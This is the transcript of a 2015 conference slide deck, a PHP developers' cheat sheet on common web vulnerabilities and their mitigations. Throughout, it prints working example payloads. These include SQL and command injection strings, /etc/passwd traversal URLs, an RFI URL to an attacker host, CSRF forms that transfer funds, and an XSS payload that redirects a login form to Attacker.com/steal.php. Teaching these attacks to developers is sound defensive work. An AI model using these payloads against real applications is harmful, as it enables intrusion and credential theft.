$30 off During Our Annual Pro Sale. View Details »

Web Application Security on Fire - PHP Developers Cheat Sheet Version

Web Application Security on Fire - PHP Developers Cheat Sheet Version

Mohamed A. Baset

November 05, 2015
Tweet

Other Decks in Technology

Transcript

  1. Web Application Security on Fire;-- PHP Developers Cheat Sheet Version

    Juan Carlos Mejía Mohamed A. Baset Head of IT Security Sr. Information Security Analyst @Th3kr45h @SymbianSyMoh
  2. Blank Slide Yes it’s intentionally blank ;) Attention please… Slide

    2 of 30.000
  3. DISCLAIMER All techniques and demos provided on this presentation are

    for educational purposes only. Linio will not be responsible for any action performed by any attendee. Warning: Hacking is considered by the Law as a crime!!
  4. th3kr45h@hack:~#uname -a; Juan Carlos Mejía Cano GXPN, CEH, CISM Twitter:

    @th3kr45h  Working in the Information Security for more than 15 years  Head of IT Security at Linio  Past:  Subdirector of Security Testing at HSBC  Sr. Security Consultant at Deloitte  Security Analyst as Freelancer  Mad about movies ;)  Former Basketball player (Michael Jordan is the best)
  5. Before we start… Do you agree with me ! 

    All issues are important even if these issues have a low severity impact, It must be fixed and must not be ignored. Why?!!  The fact that the application is SECURED because it is behind a Firewall or a VPN is a myth. Why?!!  These kind of vulnerabilities could be exploited separately or used with help of another ones to create a high impact.  Nothing is totally secured but there is the Most Secured and Hardened.  If your code isn’t secure enough, the business will be impacted including your salary of course.
  6. Most common Web App Vulnerabilities 1. Injections (SQL Injection, OS

    Command Injection, etc…) 2. Broken Authentication and Session Management 3. File Path Traversal - Remote / Local File Inclusion AKA Directory Traversal LFI / LFI 4. Cross Site Request Forgery AKA CSRF 5. Brute Force Attacks AKA Dictionary Attack 6. Sensitive Data Exposure AKA Information Disclosure 7. Cross Site Scripting AKA XSS (Reflected, Stored, DOM Based and Self) 8. Invalidated Redirects and Forwards AKA Open Redirections 9. Click jacking AKA UI Redressing 10. Using Components with Known Vulnerabilities (Ex. Libraries, Plugins and Themes) 11. Shit in the mix.
  7. 1. Injections

  8. Types: 1. SQL Injections 2. OS Code / Command Injections

    Introduction: Injection flaws occur when untrusted input/data is sent to an interpreter as part of a command or query. The attacker’s manipulated supplied data can trick the interpreter into executing unintended commands or accessing data without proper authorization. 1. Injections
  9. 1. Injections :: SQL Injection aka SQLi String query =

    "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; Example: Let’s imagine that we have a vulnerable WebApp with the following SQL Query String: Attack: In this case, the attacker modifies the ‘id’ parameter value in his browser by sending this value: ' or '1'='1 http://MyAwesomeApp.com/accountView?id=' or '1'='1 The Executed Query will be: SELECT * FROM accounts WHERE custID='' or '1'='1' Result: This changes the meaning of the query to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures. In the worse cases, Data could be altered, deleted, modified or even dumped.
  10. 1. Injections :: SQL Injection :: Live Examples Figure (1)

    – SQL Injection Vulnerability / data dumping
  11. 1. Injections :: SQL Injection aka SQLi How to mitigate/Avoid?

    1. General Defenses: -Think like attackers U/AX (User/Attackers Experience) -Avoid spaghetti queries -Don’t trust user/non user supplied inputs -Don’t store passwords in a plain text in database (Salt & Hash’em all) -Don’t assign DBA or admin type access rights to your application accounts -Don’t run the DBMS as root or system 2. Primary Defenses: -Use of Prepared Statements (Parameterized Queries) -Use of Stored Procedures -Escaping all user supplied Input, whitelisting input validation 3. Additional Defenses: -Enforce Least Privilege (Exact privileges for each responsible account)
  12. 1. Injections :: SQL Injection aka SQLi Example#1: Prepared Statements

    (Parameterized Queries) <?php // Create connection $conn = new mysqli($servername, $username, $password, $dbname); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } // prepare and bind $stmt = $conn->prepare("INSERT INTO MyGuests (firstname, lastname) VALUES (?, ?)"); $stmt->bind_param("ss", $firstname, $lastname); // set parameters and execute $firstname = "John"; $lastname = "Doe"; $stmt->execute(); //Close the connection $stmt->close(); $conn->close(); ?> Note: If you want to insert any data from external sources (like user input), it is very important that the data is sanitized and validated.
  13. 1. Injections :: SQL Injection aka SQLi Example#2: Stored Procedures

    <?php //Our db connection $mysqli = new mysqli("example.com", "user", "password", "database"); //Create a table and populate some values for an example $mysqli->query("CREATE TABLE test(id INT)"); $mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)")); //Creating the stored procedure $mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;'); //Calling the stored procedure $mysqli->multi_query("CALL p()")); //Fetching the results from the stored procedures do { if ($res = $mysqli->store_result()) { printf("---\n"); var_dump($res->fetch_all()); $res->free(); } else { if ($mysqli->errno) { echo "Store failed: (" . $mysqli->errno . ") " . $mysqli->error;} } } while ($mysqli->more_results() && $mysqli->next_result()); ?> Note: If you want to accept any data from external sources (like user input), it is very important that the data is sanitized and validated.
  14. 1. Injections :: SQL Injection aka SQLi Example#3: Escaping all

    User Supplied Input and Perform White List Input Validation -Escaping is depends on the encoding type your DBMS you’re using, so finding the proper escaping technique will help to prevent such attacks. -Whitelisting the user inputs is a good way to limit sql injection attacks but not the best one. -Use the magic of mysql_real_escape_string() to filter quotes and other inappropriate chars. -Make use of Regular Expressions and know exactly what do you want from user to input and to be passed to your database query. (https://www.owasp.org/index.php/OWASP_Validation_Regex_Repository) -[Additional] Make use of OWASP Enterprise Security API (ESAPI) Library, It’s a free, Open Source library to control and mitigate such attacks as SQL Injections and Cross Site Scripting. (https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)
  15. 1. Injections :: OS Code/Command Injections AKA (Remote Code Execution)

    Introduction Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.
  16. 1. Injections :: OS Code/Command Injections AKA (Remote Code Execution)

    Command Injection VS Code Injection -The Attacker passes internal system commands to be executed -The Attacker need to be familiar with the running system, Internal commands and permissions to perform an attack. -More dangerous on the system level -The Attacker Injects his own code and the application execute it -The Attacker is extending the functionality of the vulnerable application without the need to execute a system-level commands. -More dangerous on the application level
  17. 1. Injections :: OS Code/Command Injections AKA (Remote Code Execution)

    Example #1 - Imagine that we have this piece of beautiful and organized code: <?php print("Please specify the name of the file to delete"); print("<p>"); $file=$_GET['filename']; system("rm $file"); ?> And as usual we have a nice guy sent this request to your piece of code shit : http://www.MyBeautifulApp.com/delete.php?filename=useless_file.txt;id What do you think the response will be ?
  18. Surprise..Surprise ! HTTP/1.0 200 OK Content-Type: text/html Server: Apache Please

    specify the name of the file to delete uid=33(www-data) gid=33(www-data) groups=33(www-data) 1. Injections :: OS Code/Command Injections AKA (Remote Code Execution)
  19. What was happened? This id command was executed in the

    context of the vulnerable application. Why? rm useless_file.txt;id With no proper input validation and thanks to the presence of the semicolon char which is considered as a command splitter, The attacker now can pass any system commands to be executed by your web app. 1. Injections :: OS Code/Command Injections AKA (Remote Code Execution)
  20. 1. Injections :: OS Code/Command Injections AKA (Remote Code Execution)

    Example #2 - Imagine that we have this code: <?php $myvar = ‘myvalue'; $x = $_GET['user']; eval('$myvar = ' . $x . ';'); ?> And our guy came again and sent this request to your piece of code shit : http://www.MyBeautifulApp.com/users.php?user=1; system(‘whoami') What do you think the response will be ?
  21. Surprise..Surprise ! HTTP/1.0 200 OK Content-Type: text/html Server: Apache nt

    authority\system 1. Injections :: OS Code/Command Injections AKA (Remote Code Execution)
  22. What was happened? This code system(whoami); was injected inside the

    execution lifecycle of the vulnerable application. Why? eval('$myvar = ' . system(whoami); . ';'); The same reason, because there is no proper input validation the attacker now can inject a piece of code to your application and it will do the rest. 1. Injections :: OS Code/Command Injections AKA (Remote Code Execution)
  23. 2. Broken Authentication and Session Management

  24. Introduction: Authentication and session management includes all aspects of handling

    user authentication and managing active sessions. Authentication is a critical aspect of this process, but even solid authentication mechanisms can be undermined by flawed credential management functions, including password change, forgot my password, remember my password, account update, and other related functions. Authentication and Session Management is all about how to protect and keep the user’s session secure against stealing and manipulating, Tracking every request and double checking that this request is coming exactly from this “user” to access an exact specific feature or resource that he has access to. 2. Broken Authentication and Session Management
  25. Examples: -Authenticated user do a changes to any part of

    the system in behalf of another user identity. “logs will show that someone else did the change”. -Authenticated user can change information/details of other users (not his own). -Session could be stolen and reused due to another vulnerabilities in the system (via Cross Site Scripting). -Wrongly Implemented features like “Forget my Password?” resulting in a “Remote Password Reset” vulnerability which leads to mass users/customers account steal -Weak tokens, session fixation and cryptography poses a real threat to authentication and session management 2. Broken Authentication and Session Management
  26. How to Avoid/Protect: -Password Strength: Minimum length, Complexity, Expiration time.

    -Password Use: Limit the login attempts, Don’t indicate whether the username or the password that was wrong, Users must be emailed with the last successful/failed logins. -Password Change Controls: Always ask users to introduce their old passwords before every password change and immediately revoke their current session even if it is a valid one. -Password Storage: All passwords must be stored hashed or encrypted, Don’t insert a hard coded password in the source code. Hashed is the best way because its not reversible. -Account Access lists: Users shouldn’t have access to other users names, ids or any other sensitive information regarding the other users. 2. Broken Authentication and Session Management
  27. How to Avoid/Protect: -Browser Caching: Don’t send any part of

    user credentials, identity or session details as a part of POST or GET Requests. - Session IDs Protection / Credentials in Transit: Encrypt the entire login transaction and user’s session using something like SSL to not to be intercepted. -Session IDs: Should be long, complicated, random numbers that cannot be easily guessed. -Session IDs: Should be changed frequently during a session to reduce how long a session ID is valid. -Session IDs: Must be changed when switching to SSL, authenticating, or other major transitions. -Session IDs: Chosen by a user should never be accepted. 2. Broken Authentication and Session Management
  28. None
  29. root@SymbianSyMoh:~#cat morning.txt; Mohamed Abdelbasset Elnouby Sr. Information Security Analyst @Linio

    Social Media: @SymbianSyMoh
  30. root@SymbianSyMoh:~#cat evening.txt; Mohamed Abdelbasset Elnouby Active Bug Bounty Hunter Social

    Media: @SymbianSyMoh Picture sources: http://anywater.com/gallery/d/588-2/SergBugHunter.JPG http://www.controlyourcash.com/wp-content/uploads/2014/01/59561912-rich-people.jpg
  31. Finally! & I hacked the Web Apps of these companies:-

    etc...
  32. 3. File Path Traversal – LFI – RFI

  33. Introduction: A path traversal attack (also known as directory traversal)

    aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control. This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”. 3. File Path Traversal – LFI – RFI
  34. Related Attacks: Local File Inclusion The ability for the attacker

    to include a local file from the local server which hosts the vulnerable web application without a proper filtration or control. Remote File Inclusion The same as LFI but here the attacker have the ability to include an external file from an external server maybe a shell or any other evil files. 3. File Path Traversal – LFI – RFI
  35. Behind the scene, a file “vulnerable.php” with this source code:

    <?php $file = $_GET['file']; if(isset($file)) { include("pages/$file"); } else { include("index.php"); } ?> And imagine a request like this: /vulnerable.php?file=../../../../etc/passwd What do you think the response will be ? 3. File Path Traversal – LFI – RFI
  36. Surprise..Surprise ! HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:fi3sED95ibqR6:0:1:System

    Operator:/:/bin/ksh daemon:*:1:1::/tmp: testlab:f8fk3j1OIf31.:182:100:Developer:/home/users/testlab/:/bin/csh 3. File Path Traversal – LFI – RFI
  37. What was happened? Attacker was able to read a local

    file from the machine hosting the vulnerable app. Why? -The developer sent the repeated dot dot slash “../” characters directly to the include function this caused include() to traverse to the root directory. -An attacker can specify a path used in an operation on the filesystem. -By specifying the resource, the attacker gains a capability that would not otherwise be permitted. 3. File Path Traversal – LFI – RFI
  38. Examples.. Regarding the same vulnerable example LFI http://testsite.com/get.php?f=/var/www/html/get.php http://testsite.com/get.php?f=/../../../../etc/passwd RFI

    http://testsite.com/get.php?f=http://www.AttackerHost.com/evil.php 3. File Path Traversal – LFI – RFI
  39. Wrong Defenses “but you’re still thinking”: #1 – Using file_exists()

    -Using the file_exists() is a way to limit the attacker from being able to inject a remote file but including a local file is still a way to break through. http://localhost/index.php?page=/etc/passwd >>> bingo #2 – Directory Jailing Technique -It’s a way to jail the attacker in a specific directory “only the current one” but you can’t beat the magic of the dot dot slash attack because it will always take the attacker one step up of your current directory. http://localhost/index.php?page=../../etc/passwd >>> Up, Up and bingo #3 – Adding additional strings to the included file name -This is a way to add another suffix to the included file name like adding “.php” or “.asp” at the end of the file in a dynamic hardcoded way. Good enough to limit more attacks but here is another magic which you can’t resist, a Poisoning Null Byte. http://localhost/index.php?page=/etc/passwd%00 >>> /etc/passwd%00.php bingo exists #4 – All is good, Am I right? -Now you supposed to be in the safe side, one light years away from LFI, RFI or even Directory Traversal but what if the attacker want to probe your internal local services? With the following example the attacker knows a valuable info about your internal infrastructure. http://localhost/index.php?page=http://192.168.0.2:9080 >>> bingo it’s 200 OK 3. File Path Traversal – LFI – RFI
  40. How to Avoid/Protect: -Remember to have the AX. -Trust no

    one. -Filter and validate all the things. -Assume that all the inputs are malicious. -Know exactly what input you need and reject what you don’t. -Black/Whitelisting will be your hero here by creating a mapping from a set of fixed input values to the actual filenames For example, ID 1 mapping to “technology.php” and ID 2 mapping to ” economy.php ” etc. and reject all other inputs. <?php if($_GET[‘id'] == ‘1') { include('technology.php'); } ?> Guess what? FPT, LFI and RFI dies forever….. -Check fingerprint guide! include(), include_once(), require(), require_once(), fopen(), readfile(), ... 3. File Path Traversal – LFI – RFI
  41. 4. Cross Site Request Forgery AKA CSRF Introduction: Cross Site

    Request Forgery is a type of web application vulnerabilities where it always affects the web forms enforcing the authenticated victim to execute unwanted actions (Transferring funds, Change the account email address), This kind of attacks can be via (POST, GET) or via XHR modern app request types (PUT & DELETE) Attacker send a crafted link file to victim Figure (0) How CSRF Works
  42. 4. Cross Site Request Forgery AKA CSRF Also Known As:

    -XSRF -Sea Surf -Cross Site Reference Forgery -Session Riding -Hostile Linking -One-Click Attack
  43. 4. Cross Site Request Forgery AKA CSRF Example #1 “POST”:

    1. Imagine that you have a bank website with a web form included, then the attacker edited the form to look like this one: <form action="http://bank.com/transfer.php" method="POST"> <input type="hidden" name="acct_from" value=“Alejandra"/> <input type="hidden" name="acct_to" value=“Attacker"/> <input type="hidden" name="amount" value="10000"/> <input type="submit" value="View my pictures"/> </form> 2. The attacker took ONLY the web form, Crafted an HTML page and included this piece of code: <body onload="document.forms[0].submit()"> 3. Hosted it on his own webserver, and finally sent the link to the victim. 4. What will happen?
  44. 4. Cross Site Request Forgery AKA CSRF Example #2 “GET”:

    <a href="http://bank.com/transfer.do?acct_from=Alejandra&acct_to=Attacker&amount=10000">Click Here to win an iPhone!</a> OR <img src=" http://bank.com/transfer.do?acct_from=Alejandra&acct_to=Attacker&amount=10000 " width="0" height="0" border="0“ onLoad=“alert(‘Thanks you for using the most secured bank ever’)”> What will happen?
  45. Surprise..Surprise ! Alejandra (the victim) sent 10,000 dollars from her

    account to the Attacker’s bank account. Of course she don’t want to do that but ACTUALLY she did and in a legal way. Why that happened ? 4. Cross Site Request Forgery AKA CSRF
  46. Why that happened? -The Attacker is skilled and was able

    to trick the victim. -The victim was tricked and clicked the link sent by the attacker. “social engineering” -The victim was properly authenticated. “session is valid” -The request made seems legit. “made by the victim itself” -No protection or any tokens send along with the request. “something secret the attacker can’t know or guess” -The absence of additional mechanism to protect the transfer process. “SMS confirmation code or two factor authentication” 4. Cross Site Request Forgery AKA CSRF
  47. 4. Cross Site Request Forgery AKA CSRF Example #3 “XML

    HTTP Request”: <script> function doIT() { var x = new XMLHttpRequest(); x.open("PUT","http://bank.com/transfer.php",true); x.setRequestHeader("Content-Type", "application/json"); x.send(JSON.stringify({"acct_from":“Alejandra", "acct_to":"Attacker", "amount":10000})); } </script> <body onload="doIT()"> Do you think this attack will work ?
  48. The answer is: No and maybe Yes Why? 4. Cross

    Site Request Forgery AKA CSRF
  49. 4. Cross Site Request Forgery AKA CSRF The good news

    is that attack will not work at the most cases, Modern browsers nowadays have a new restrictions and protection mechanisms. -Thanks to SOP (Same-Origin-Policy). - SOP is enabled by default on every modern browser. - Unless the target force the browser to ignore it by opening it up for everyone by using CORS or Cross Origin Resource Sharing by applying this server-side header: Access-Control-Allow-Origin: *
  50. Mitigation and Prevention : -Remember to have the AX. -Make

    sure that you don’t have any Cross Site Scripting vulnerabilities. -Use an Anti-CSRF tokens which is considered as a secret. -Your Anti-CSRF Token has to be something hard to be guessed. -Don’t use any tokens in a GET Requests. -Avoid Anti-CSRF token fixation/reusable tokens. -Inserting your Anti-CSRF tokens as a request header is the best way to mitigate this issue. -Implement SSL/HTTPS to protect your anti-csrf token from being leaked via MITM Attacks. -Double check the “referrer” header value. -Double check the “origin” header value, support HTTPS requests. -Depend on a specific framework if your application is a big one, Frameworks like “Joomla, Ruby on Rails, PHP Frameworks, etc..” implement Anti-CSRF tokens by default. -If (for any reason) you have been forced to implement your anti-csrf token into your cookies don’t forget to protect it with “HTTPONLY” and “SECURE” cookie flags. -Check your Crossdomain.xml file if you have it. -Other techniques: 1. CAPTCHA 2. Re-Authentication 3. One-Time tokens 4. Cross Site Request Forgery AKA CSRF
  51. An example of a hardened request: POST /ChangeEmail HTTP/1.1 Host:

    MySafeWebSite.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate XSRF-Secret: 60bUJWfjie6196f08NYRfj8f43896f3cab50833896f3caASpd28 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: MySafeWebSite.com Cookie: Your Cookie Here; Secure; HttpOnly Connection: keep-alive Pragma: no-cache Cache-Control: no-cache NewEmail=symbiansymoh@gmail.com&OldPassword=TheOldPassword 4. Cross Site Request Forgery AKA CSRF Cookies are protected against XSS and MITM Attacks The application is always checking for the origin. XSRF-Secret value as a request header, Hard to be guessed and non reusable. Additional Protection mechanism. Request is server via POST method and protected with SSL/HTTPS
  52. None
  53. 5. Brute Force Attacks AKA Dictionary Attack Introduction: Brute force

    attacks in a simple way, Its all about flooding the service with the requests regarding guessing the user credentials via prepared dictionary or randomly generated strings, claiming a service by guessing confirmation codes, Coupons “ecommerce” or Harvesting customer data etc.. Attacker floods the vulnerable server with a guessing requests regarding the needed informations Figure (0) How Brute Force Attacks Works No proper mitigation or policies for account lockouts results in receiving the requested data The webapp responds to the requested requests in a true/false pattern.
  54. 5. Brute Force Attacks AKA Dictionary Attack Figure (1) Burp

    suite Intruder attacking United.com redemption code Example 140 requests sent so far A distinguish string found in the response Valid Code found among the sent requests
  55. 5. Brute Force Attacks AKA Dictionary Attack Mitigation and Prevention

    : -Remember to have the AX. -Rate Limitation. (Login Area) -CAPTCHA. (forget my password) -Implement a proper Account Lockout Policy. (account lockout after specific failure login attempts) -Temporary accounts lockout for slowing down the attack. (20 minutes) -Implement an intelligent mechanism to do the account lockouts and in the same time allow the accounts to be opened for the legitimate users. (trusted devices auto-sense) -Implement multi factor authentication. (mFA) -Use Authentication Protocols (Oauth - OpenID)
  56. 6. Sensitive Data Exposure AKA Information Disclosure Introduction: Revealing system

    data or debugging information helps the attacker learn about the system and form a plan of attack. An information leak occurs when system data, debugging information and logging function are being displayed to the user/the attacker. Attacker sending a malformed request The App responds with a sensitive data Figure (0) Explaining the information disclosure vulnerability
  57. 6. Sensitive Data Exposure AKA Information Disclosure How could the

    attacker make use of this information? - FPD will be useful in leveraging SQL Injection attacks to RCEs (leaking folder names, host names) - Helps in Social Engineering attacks. - Gives the attacker enough knowledge about the target (OS, WebApp type, firewall, etc..) - Leaking customer/business information. - Helps a lot of other attacks (path traversal) Example: Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/includes/database.inc on line 4
  58. 6. Sensitive Data Exposure AKA Information Disclosure Example: A vulnerable

    code: <?php echo file_get_contents(getcwd().$_GET['page']); ?> The attack: http://site.com/index.php?page=../../../../../../../home/example/public_html/includes/config.php The result: The attacker has successfully red the config file <?php //Hidden configuration file containing database credentials. $hostname = 'localhost'; $username = 'root'; $password = ‘toor'; $database = 'example_site'; $connector = mysql_connect($hostname, $username, $password); mysql_select_db($database, $connector); ?>
  59. 6. Sensitive Data Exposure AKA Information Disclosure How that could

    be happen? -Accidently let the exceptions, debug information, error messages and other sensitive data displayed to the end-user. (Throwing the exceptions in a bad way) -Empty Arrays. (display.php?page[]=about) Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84 Warning: pg_num_rows(): supplied argument ... in /usr/home/example/html/pie/display.php on line 131 -Null Session Cookie - javascript:void(document.cookie="PHPSESSID="); -Invalid Session Cookie - javascript:void(document.cookie="PHPSESSID=XXXXXXXXXXXXXXXXXXX…..X"); Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2 -Direct Access to files (access to files that need another libraries to be loaded first) http://site.com/.../tiny_mce/plugins/spellchecker/classes/PSpellShell.php <br /> <b>Fatal error</b>: Class 'SpellChecker' not found in <b>/home/victim/public_html/mambo/mambots/editors/mostlyce/jscripts/tiny_mce/plugins/spellchecker/classes/PSpellShell.p hp</b> on line <b>9</b><br />
  60. 6. Sensitive Data Exposure AKA Information Disclosure Prevention/Mitigation: -Good mechanisms

    and flows preventing this problem at the design phase is the best way to mitigate the issue. -Prevent throwing any exceptions to the production environment -Disable error reporting in the live environments. error_reporting(0); -Alter all your exceptions and error messages to something the user can understand. NOT THE ATTCKER -You can test your app with this tool “Inspathx” - https://code.google.com/p/inspathx/ -Do a code review for all your .php files, plugins and themes (CMS, Frameworks) and fix all the errors, exceptions throwing.
  61. 6. Sensitive Data Exposure AKA Information Disclosure Figure (1) United

    Airlines “Airtime service” Full Path disclosure Hostname: uaatsu Programming Language: PHP CMS/Framework: WordPress /releases: means there might be another releases so attackers can dig for more releases
  62. None
  63. Introduction: Cross Site Scripting is a client-side type of attacks/injections

    where the attacker is able to inject a JavaScript piece of code inside the trusted websites, This piece of code is going to be executed on the victim’s client side level and the browser always trust in the injected script because it always came from a trusted source. Types: “based on the severity” 1. Stored 2. Reflected 3. DOM-Based 4. Self 7. Cross Site Scripting AKA XSS
  64. Impact: 1. Stealing User’s cookie/session. 2. Simulate clicks, Keystrokes and

    even both at the same time 3. Manipulating the DOM behavior. “change the form action to steal data” 4. Injecting a non existed elements in the vulnerable page. “Please insert your CVV here” 5. Redirecting users to rouge websites 6. Hijacking User Session, showing and injecting ads 7. Simulate a Keylogger behavior. 8. In some cases the attack can be leveraged to have a higher impact if merged with other vulnerabilities. 7. Cross Site Scripting AKA XSS
  65. Behind the scene: -For testing against cross site scripting vulnerabilities

    is to pass a piece of code called payload as a value into any input/parameter via any method (POST, GET, PUT, etc..) -The most common payloads is "><img src=x onerror=alert(1)> and sometimes "><svg/onload=confirm(1)> -The payload type is always depends on the injection context. -Due to the improper input filtration the payload is going to be injected in the vulnerable page. -The double quotes + the greater than chars "> are going to do the magic here. -Closing the vulnerable tag and opening a new evil one. -There is no valid x image, so the onerror event is going to be triggered. -JavaScript code is executed now. 7. Cross Site Scripting AKA XSS
  66. Persistent / Stored Cross Site Scripting The most dangerous type

    of XSS, It stored that means the payload will be stored in the database and it will get executed whenever the vulnerable page called by any user if this page was publicly accessible. For example “user profile page” 7. Cross Site Scripting AKA XSS Figure (0) How Stored XSS works Attacker WebApp DB Victim Sending a payload as a value to the vuln App. The payload going to stored in the database The victim is requesting the vulnerable page Data Stolen
  67. 7. Cross Site Scripting AKA XSS Figure (1) Stored XSS

    affecting AVGMobilation Service
  68. Non-persistent / Reflected Cross Site Scripting It’s a type of

    XSS which is reflected when the victim requests a url via a POST or GET requests and requires the victim interaction “click on a specific vulnerable link”. Example: https://app.box.com/login?redirect_url="><script>document.getElementById('login_form').setAttribute('actio n','http://Attacker.com/steal.php')</script> Vulnerable Parameter: redirect_url Payload: "><script>document.getElementById('login_form').setAttribute('action','http://Attacker.com/steal.php')</scri pt> Payload Explanation: This payload presented here is the best way to exploit a login page which is vulnerable to XSS attacks, Simply it alter the action attribute of the login form and send the victim credentials to the attacker via a php script. 7. Cross Site Scripting AKA XSS
  69. 7. Cross Site Scripting AKA XSS Figure (2) Reflected XSS

    found in BOX.com Cloud Service
  70. DOM-Based Cross Site Scripting Type of XSS where reflection is

    not made by the server “the page source code was delivered clean to the browser and the browser will start to draw the DOM objects but with the evil supplied data received from the attacker. 7. Cross Site Scripting AKA XSS Figure (3) How DOM-Based XSS works 1. Attacker Victim Sending a crafted link with the payload to the victim The victim is requesting the vulnerable page Data Stolen The server receives the request and send the response to the victim’s browser without any injections “clean” Victim The Browser is the responsible for the injection by drawing the DOM objects with the supplied inputs. The payload was injected and the victim have been XSSed Here is the difference, The reflected XSS will start to be injected and delivered to the browser starts from here.
  71. Imagine this piece of code: Select your Favorite Pet: <select><script>

    document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>"); document.write("<OPTION value=2>Dogs</OPTION>"); </script></select> So imagine this request to the vulnerable code: http://localhost/dom.html?default=<script>alert(9)</script> 7. Cross Site Scripting AKA XSS
  72. What if we checked the source code of the page?

    Nothing, No injected payloads. Magic?! If you still remember this part “The server send the response to the browser without any injections” You’re not sleeping ZZzzzz  7. Cross Site Scripting AKA XSS
  73. But What if we checked DOM Explorer? Yeah, Our payload

    is injected here!!! Because the injection was made on the browser-level not on the server response level 7. Cross Site Scripting AKA XSS
  74. Self Cross Site Scripting It’s a type of XSS which

    is reflected only on yourself, within a page that only you “user/victim” can access, It’s not that important but sometimes it’s game changer HOW ? Remember remember, Merging more than one attack together = higher impact. Imagine that a self-xss attack with a Login CSRF attack? #1 Attacker will be able to forge a login request, Inject a special DOM Objects that was not existed before, Like asking the victim to re-enter his own credit card details including the CVV number which in fact is not presented by the website itself, This data is going to be sent to the attacker BTW. #2 If the website is vulnerable to CSRF attack causing this payload to be stored in a specific page, Self XSS will play a vital role here, CSRF to inject the payload, Directing the user to the vulnerable page, Boom!!. 7. Cross Site Scripting AKA XSS
  75. How to avoid/mitigate? 7. Cross Site Scripting AKA XSS All

    the inputs. Filter and Sanitize!
  76. How to Avoid/Protect: -Remember to have the AX. -Trust no

    one. -Don’t trust user inputs. -Don’t trust cookies. -Don’t trust the API callbacks. -Use htmlentities function but be careful, it’s not 100% trusted. -The best way is to use the OWASP Enterprise Security API project, It’s easy to implement, Open Source has a full set of filtration features. So easy: String safe = ESAPI.encoder().encodeForJavaScript( request.getParameter( "input" ) ); 7. Cross Site Scripting AKA XSS
  77. 8. Invalidated Redirects AKA Open Redirections Introduction: Open redirections or

    invalidated forwards or invalidated redirects is a kind of typical web application vulnerabilities occurs when the application fails to control the redirection to an external website/url. Open redirection and xss 1. Attacker sent a url to victim 2. Victim clicked on the link because it seems legit 3. The app failed to control the redirection 4. The user has been redirected to a phishing website 5. The user has introduced his sensitive data 6. Finally data was sent to the attacker
  78. 8. Invalidated Redirects AKA Open Redirections How to exploit this

    kind of vulnerabilities? - Phishing attacks. exploiting the trust. Figure(0) - Stealing sensitive data (hashes and tokens) - Bypass protection mechanisms (CSRF protected with referer) <?php session_start(); $allowed_host = 'secured.com'; $host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST); if(substr($host, 0 - strlen($allowed_host)) == $allowed_host) { echo 'You shall pass'; } else { echo 'You shall not pass'; } ?> So the open redirection will be responsible for sending the referer along with the get/post request results in bypassing the referer check clarified in above example.
  79. 8. Invalidated Redirects AKA Open Redirections How to exploit this

    kind of vulnerabilities? - Open redirection leads to XSS attacks Example #1: <?php $redir_url = $_GET['url']; print "<html><head>\n<title>Redirecting ...</title>\n"; print "<meta http-equiv=\"refresh\" content=\"0; URL=$redir_url\">"; print "</head>\n"; print "<body><a href=\"$redir_url\">if you're not being redirected shortly, Click Here...</a></body>\n"; print "</html>"; ?>
  80. 8. Invalidated Redirects AKA Open Redirections Attack url: http://localhost/redir.php?url="><img src=x

    onerror=alert(1)> The result:
  81. 8. Invalidated Redirects AKA Open Redirections How to exploit this

    kind of vulnerabilities? - Open redirection to XSS attacks Example #2: <?php $redir_url = htmlentities($_GET['url'], ENT_QUOTES, "UTF-8"); print "<html><head>\n<title>Redirecting ...</title>\n"; print "<meta http-equiv=\"refresh\" content=\"0; URL=$redir_url\">"; print "</head>\n"; print "<body><a href=\"$redir_url\">if you're not being redirected shortly, Click Here...</a></body>\n"; print "</html>"; ?>
  82. 8. Invalidated Redirects AKA Open Redirections Attack url #2: http://localhost/redir.php?url=javascript:alert(9)

    The result:
  83. 8. Invalidated Redirects AKA Open Redirections Mitigation and Prevention: -Avoid

    using redirects and forwards. -Don’t allow the url as user input for the destination. (Unless you can control it’s validity “Linkshim” ) -Always rewrite all the urls in the right format. -Sanitize input by creating a list of trusted URL's (using regex). -Force all redirects to first go through a page notifying users that they are going off of your site and redirect him with a confirmation.
  84. 9. Click jacking AKA UI Redressing Introduction This type of

    attacks occurs when an attacker uses a transparent layers to trick users into clicking on a button or link on another page when they were not intending to click on it. So the attacker is fooling the victim by visiting the same page but in a new dressing.
  85. 9. Click jacking AKA UI Redressing Figure (0) Avira.com Click

    Jacking vulnerability Avira User Accounts Page before being dressed
  86. 9. Click jacking AKA UI Redressing Figure (1) Avira.com Click

    Jacking vulnerability Avira User Accounts Page being redressed
  87. 9. Click jacking AKA UI Redressing Figure (2) Avira.com Click

    Jacking vulnerability Avira User Accounts Page after being fully UI redressed Attacker is tricking the user to alter his email address with the attacker’s one Then tricking him into clicking the confirm button The original Avira User Profile page is totally transparent in the background
  88. 9. Click jacking AKA UI Redressing Mitigation and Prevention: -

